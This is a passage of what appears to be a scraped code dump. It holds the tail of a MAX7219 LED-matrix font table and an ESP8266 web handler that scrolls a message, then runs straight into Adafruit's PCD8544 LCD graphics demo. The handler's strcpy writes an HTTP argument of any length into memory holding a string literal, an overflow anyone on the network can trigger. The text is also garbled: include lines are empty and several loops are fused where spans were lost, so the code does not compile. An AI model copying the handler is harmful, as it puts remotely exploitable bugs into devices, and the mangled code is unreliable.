B00000000, B00000000, // [ 77 | 4, 8, B00000001, B00000110, B00011000, B01100000, B00000000, // \ backslash 78 | 2, 8, B01000001, B01111111, B00000000, B00000000, B00000000, // ] 79 | 3, 8, B00000010, B00000001, B00000010, B00000000, B00000000, // hat 80 | 4, 8, B01000000, B01000000, B01000000, B01000000, B00000000, // _ 81 | 2, 8, B00000001, B00000010, B00000000, B00000000, B00000000, // ` 82 | 4, 8, B00100000, B01010100, B01010100, B01111000, B00000000, // a 83 | 4, 8, B01111111, B01000100, B01000100, B00111000, B00000000, // b 84 | 4, 8, B00111000, B01000100, B01000100, B00101000, B00000000, // c 85 | 4, 8, B00111000, B01000100, B01000100, B01111111, B00000000, // d 86 | 4, 8, B00111000, B01010100, B01010100, B00011000, B00000000, // e 87 | 3, 8, B00000100, B01111110, B00000101, B00000000, B00000000, // f 88 | 4, 8, B10011000, B10100100, B10100100, B01111000, B00000000, // g 89 | 4, 8, B01111111, B00000100, B00000100, B01111000, B00000000, // h 90 | 3, 8, B01000100, B01111101, B01000000, B00000000, B00000000, // i 91 | 4, 8, B01000000, B10000000, B10000100, B01111101, B00000000, // j 92 | 4, 8, B01111111, B00010000, B00101000, B01000100, B00000000, // k 93 | 3, 8, B01000001, B01111111, B01000000, B00000000, B00000000, // l 94 | 5, 8, B01111100, B00000100, B01111100, B00000100, B01111000, // m 95 | 4, 8, B01111100, B00000100, B00000100, B01111000, B00000000, // n 96 | 4, 8, B00111000, B01000100, B01000100, B00111000, B00000000, // o 97 | 4, 8, B11111100, B00100100, B00100100, B00011000, B00000000, // p 98 | 4, 8, B00011000, B00100100, B00100100, B11111100, B00000000, // q 99 | 4, 8, B01111100, B00001000, B00000100, B00000100, B00000000, // r 100 | 4, 8, B01001000, B01010100, B01010100, B00100100, B00000000, // s 101 | 3, 8, B00000100, B00111111, B01000100, B00000000, B00000000, // t 102 | 4, 8, B00111100, B01000000, B01000000, B01111100, B00000000, // u 103 | 5, 8, B00011100, B00100000, B01000000, B00100000, B00011100, // v 104 | 5, 8, B00111100, B01000000, B00111100, B01000000, B00111100, // w 105 | 5, 8, B01000100, B00101000, B00010000, B00101000, B01000100, // x 106 | 4, 8, B10011100, B10100000, B10100000, B01111100, B00000000, // y 107 | 3, 8, B01100100, B01010100, B01001100, B00000000, B00000000, // z 108 | 3, 8, B00001000, B00110110, B01000001, B00000000, B00000000, // { 109 | 1, 8, B01111111, B00000000, B00000000, B00000000, B00000000, // | 110 | 3, 8, B01000001, B00110110, B00001000, B00000000, B00000000, // } 111 | 4, 8, B00001000, B00000100, B00001000, B00000100, B00000000, // ~ 112 | }; 113 | 114 | 115 | int data = 12; // DIN pin of MAX7219 module - D6 116 | int load = 13; // CS pin of MAX7219 module - D7 117 | int clock = 15; // CLK pin of MAX7219 module - D8 118 | 119 | int maxInUse = 2; //how many MAX7219 are connected 120 | 121 | MaxMatrix m(data, load, clock, maxInUse); // define Library 122 | 123 | byte buffer[10]; 124 | 125 | char* string1 = " Ember to Mission Control "; // Scrolling Text 126 | 127 | 128 | void handleRoot() { 129 | digitalWrite(led, 1); 130 | 131 | if (server.args() > 0 ) { 132 | for ( uint8_t i = 0; i < server.args(); i++ ) { 133 | if (server.argName(i) == "msg") { 134 | strcpy (string1,server.arg(i).c_str()); 135 | 136 | server.send(200, "text/plain", server.arg(i)); 137 | } 138 | } 139 | } else{ 140 | string1=" Mission Control to Ember "; 141 | server.send(200, "text/plain", ""); 142 | } 143 | 144 | digitalWrite(led, 0); 145 | } 146 | 147 | void handleNotFound(){ 148 | digitalWrite(led, 1); 149 | String message = "File Not Found\n\n"; 150 | message += "URI: "; 151 | message += server.uri(); 152 | message += "\nMethod: "; 153 | message += (server.method() == HTTP_GET)?"GET":"POST"; 154 | message += "\nArguments: "; 155 | message += server.args(); 156 | message += "\n"; 157 | for (uint8_t i=0; i http://www.adafruit.com/products/338 6 | 7 | These displays use SPI to communicate, 4 or 5 pins are required to 8 | interface 9 | 10 | Adafruit invests time and resources providing this open source code, 11 | please support Adafruit and open-source hardware by purchasing 12 | products from Adafruit! 13 | 14 | Written by Limor Fried/Ladyada for Adafruit Industries. 15 | BSD license, check license.txt for more information 16 | All text above, and the splash screen must be included in any redistribution 17 | *********************************************************************/ 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | // Software SPI (slower updates, more flexible pin options): 24 | // pin 7 - Serial clock out (SCLK) 25 | // pin 6 - Serial data out (DIN) 26 | // pin 5 - Data/Command select (D/C) 27 | // pin 4 - LCD chip select (CS) 28 | // pin 3 - LCD reset (RST) 29 | Adafruit_PCD8544 display = Adafruit_PCD8544(3, 4, 5, 7, 6); 30 | 31 | // Hardware SPI (faster, but must use certain hardware pins): 32 | // SCK is LCD serial clock (SCLK) - this is pin 13 on Arduino Uno 33 | // MOSI is LCD DIN - this is pin 11 on an Arduino Uno 34 | // pin 5 - Data/Command select (D/C) 35 | // pin 4 - LCD chip select (CS) 36 | // pin 3 - LCD reset (RST) 37 | // Adafruit_PCD8544 display = Adafruit_PCD8544(5, 4, 3); 38 | // Note with hardware SPI MISO and SS pins aren't used but will still be read 39 | // and written to during SPI transfer. Be careful sharing these pins! 40 | 41 | #define NUMFLAKES 10 42 | #define XPOS 0 43 | #define YPOS 1 44 | #define DELTAY 2 45 | 46 | 47 | #define LOGO16_GLCD_HEIGHT 8 48 | #define LOGO16_GLCD_WIDTH 16 49 | 50 | static const unsigned char PROGMEM logo16_glcd_bmp[] ={ 51 | 0x80, 0x03, 0xe0, 0x0f, 0xf0, 0x1f, 0xf0, 0x1f, 0xb8, 0x3b, 0x78, 0x3d, 52 | 0xf8, 0x3f, 0xf0, 0x1f, 0xf0, 0x1f, 0xe0, 0x0f, 0xc0, 0x07, 0xc0, 0x07, 53 | 0x40, 0x05, 0x40, 0x05, 0x40, 0x05, 0x40, 0x05 54 | }; 55 | 56 | void setup() { 57 | Serial.begin(9600); 58 | 59 | display.begin(); 60 | // init done 61 | 62 | // you can change the contrast around to adapt the display 63 | // for the best viewing! 64 | display.setContrast(50); 65 | 66 | display.display(); // show splashscreen 67 | delay(2000); 68 | display.clearDisplay(); // clears the screen and buffer 69 | 70 | // draw a single pixel 71 | display.drawPixel(10, 10, BLACK); 72 | display.display(); 73 | delay(2000); 74 | display.clearDisplay(); 75 | 76 | display.drawBitmap(1,1, logo16_glcd_bmp, LOGO16_GLCD_WIDTH, LOGO16_GLCD_HEIGHT, BLACK); 77 | delay(3000); 78 | testdrawbitmap(logo16_glcd_bmp, LOGO16_GLCD_WIDTH, LOGO16_GLCD_HEIGHT); 79 | delay(5000); 80 | // draw many lines 81 | testdrawline(); 82 | display.display(); 83 | delay(2000); 84 | display.clearDisplay(); 85 | 86 | // draw rectangles 87 | testdrawrect(); 88 | display.display(); 89 | delay(2000); 90 | display.clearDisplay(); 91 | 92 | // draw multiple rectangles 93 | testfillrect(); 94 | display.display(); 95 | delay(2000); 96 | display.clearDisplay(); 97 | 98 | // draw mulitple circles 99 | testdrawcircle(); 100 | display.display(); 101 | delay(2000); 102 | display.clearDisplay(); 103 | 104 | // draw a circle, 10 pixel radius 105 | display.fillCircle(display.width()/2, display.height()/2, 10, BLACK); 106 | display.display(); 107 | delay(2000); 108 | display.clearDisplay(); 109 | 110 | testdrawroundrect(); 111 | delay(2000); 112 | display.clearDisplay(); 113 | 114 | testfillroundrect(); 115 | delay(2000); 116 | display.clearDisplay(); 117 | 118 | testdrawtriangle(); 119 | delay(2000); 120 | display.clearDisplay(); 121 | 122 | testfilltriangle(); 123 | delay(2000); 124 | display.clearDisplay(); 125 | 126 | // draw the first ~12 characters in the font 127 | testdrawchar(); 128 | display.display(); 129 | delay(2000); 130 | display.clearDisplay(); 131 | 132 | // text display tests 133 | display.setTextSize(1); 134 | display.setTextColor(BLACK); 135 | display.setCursor(0,0); 136 | display.println("Hello, world!"); 137 | display.setTextColor(WHITE, BLACK); // 'inverted' text 138 | display.println(3.141592); 139 | display.setTextSize(2); 140 | display.setTextColor(BLACK); 141 | display.print("0x"); display.println(0xDEADBEEF, HEX); 142 | display.display(); 143 | delay(2000); 144 | 145 | // rotation example 146 | display.clearDisplay(); 147 | display.setRotation(1); // rotate 90 degrees counter clockwise, can also use values of 2 and 3 to go further. 148 | display.setTextSize(1); 149 | display.setTextColor(BLACK); 150 | display.setCursor(0,0); 151 | display.println("Rotation"); 152 | display.setTextSize(2); 153 | display.println("Example!"); 154 | display.display(); 155 | delay(2000); 156 | 157 | // revert back to no rotation 158 | display.setRotation(0); 159 | 160 | // miniature bitmap display 161 | display.clearDisplay(); 162 | display.drawBitmap(30, 16, logo16_glcd_bmp, 16, 16, 1); 163 | display.display(); 164 | 165 | // invert the display 166 | display.invertDisplay(true); 167 | delay(1000); 168 | display.invertDisplay(false); 169 | delay(1000); 170 | 171 | // draw a bitmap icon and 'animate' movement 172 | testdrawbitmap(logo16_glcd_bmp, LOGO16_GLCD_WIDTH, LOGO16_GLCD_HEIGHT); 173 | } 174 | 175 | 176 | void loop() { 177 | 178 | } 179 | 180 | 181 | void testdrawbitmap(const uint8_t *bitmap, uint8_t w, uint8_t h) { 182 | uint8_t icons[NUMFLAKES][3]; 183 | randomSeed(666); // whatever seed 184 | 185 | // initialize 186 | for (uint8_t f=0; f< NUMFLAKES; f++) { 187 | icons[f][XPOS] = random(display.width()); 188 | icons[f][YPOS] = 0; 189 | icons[f][DELTAY] = random(5) + 1; 190 | 191 | Serial.print("x: "); 192 | Serial.print(icons[f][XPOS], DEC); 193 | Serial.print(" y: "); 194 | Serial.print(icons[f][YPOS], DEC); 195 | Serial.print(" dy: "); 196 | Serial.println(icons[f][DELTAY], DEC); 197 | } 198 | 199 | while (1) { 200 | // draw each icon 201 | for (uint8_t f=0; f< NUMFLAKES; f++) { 202 | display.drawBitmap(icons[f][XPOS], icons[f][YPOS], logo16_glcd_bmp, w, h, BLACK); 203 | } 204 | display.display(); 205 | delay(200); 206 | 207 | // then erase it + move it 208 | for (uint8_t f=0; f< NUMFLAKES; f++) { 209 | display.drawBitmap(icons[f][XPOS], icons[f][YPOS], logo16_glcd_bmp, w, h, WHITE); 210 | // move it 211 | icons[f][YPOS] += icons[f][DELTAY]; 212 | // if its gone, reinit 213 | if (icons[f][YPOS] > display.height()) { 214 | icons[f][XPOS] = random(display.width()); 215 | icons[f][YPOS] = 0; 216 | icons[f][DELTAY] = random(5) + 1; 217 | } 218 | } 219 | } 220 | } 221 | 222 | 223 | void testdrawchar(void) { 224 | display.setTextSize(1); 225 | display.setTextColor(BLACK); 226 | display.setCursor(0,0); 227 | 228 | for (uint8_t i=0; i < 168; i++) { 229 | if (i == '\n') continue; 230 | display.write(i); 231 | //if ((i > 0) && (i % 14 == 0)) 232 | //display.println(); 233 | } 234 | display.display(); 235 | } 236 | 237 | void testdrawcircle(void) { 238 | for (int16_t i=0; i0; i-=5) { 266 | display.fillTriangle(display.width()/2, display.height()/2-i, 267 | display.width()/2-i, display.height()/2+i, 268 | display.width()/2+i, display.height()/2+i, color); 269 | if (color == WHITE) color = BLACK; 270 | else color = WHITE; 271 | display.display(); 272 | } 273 | } 274 | 275 | void testdrawroundrect(void) { 276 | for (int16_t i=0; i=0; i-=4) { 316 | display.drawLine(0, display.height()-1, display.width()-1, i, BLACK); 317 | display.display(); 318 | } 319 | delay(250); 320 | 321 | display.clearDisplay(); 322 | for (int16_t i=display.width()-1; i>=0; i-=4) { 323 | display.drawLine(display.width()-1, display.height()-1, i, 0, BLACK); 324 | display.display(); 325 | } 326 | for (int16_t i=display.height()-1; i>=0; i-=4) { 327 | display.drawLine(display.width()-1, display.height()-1, 0, i, BLACK); 328 | display.display(); 329 | } 330 | delay(250); 331 | 332 | display.clearDisplay(); 333 | for (int16_t i=0; i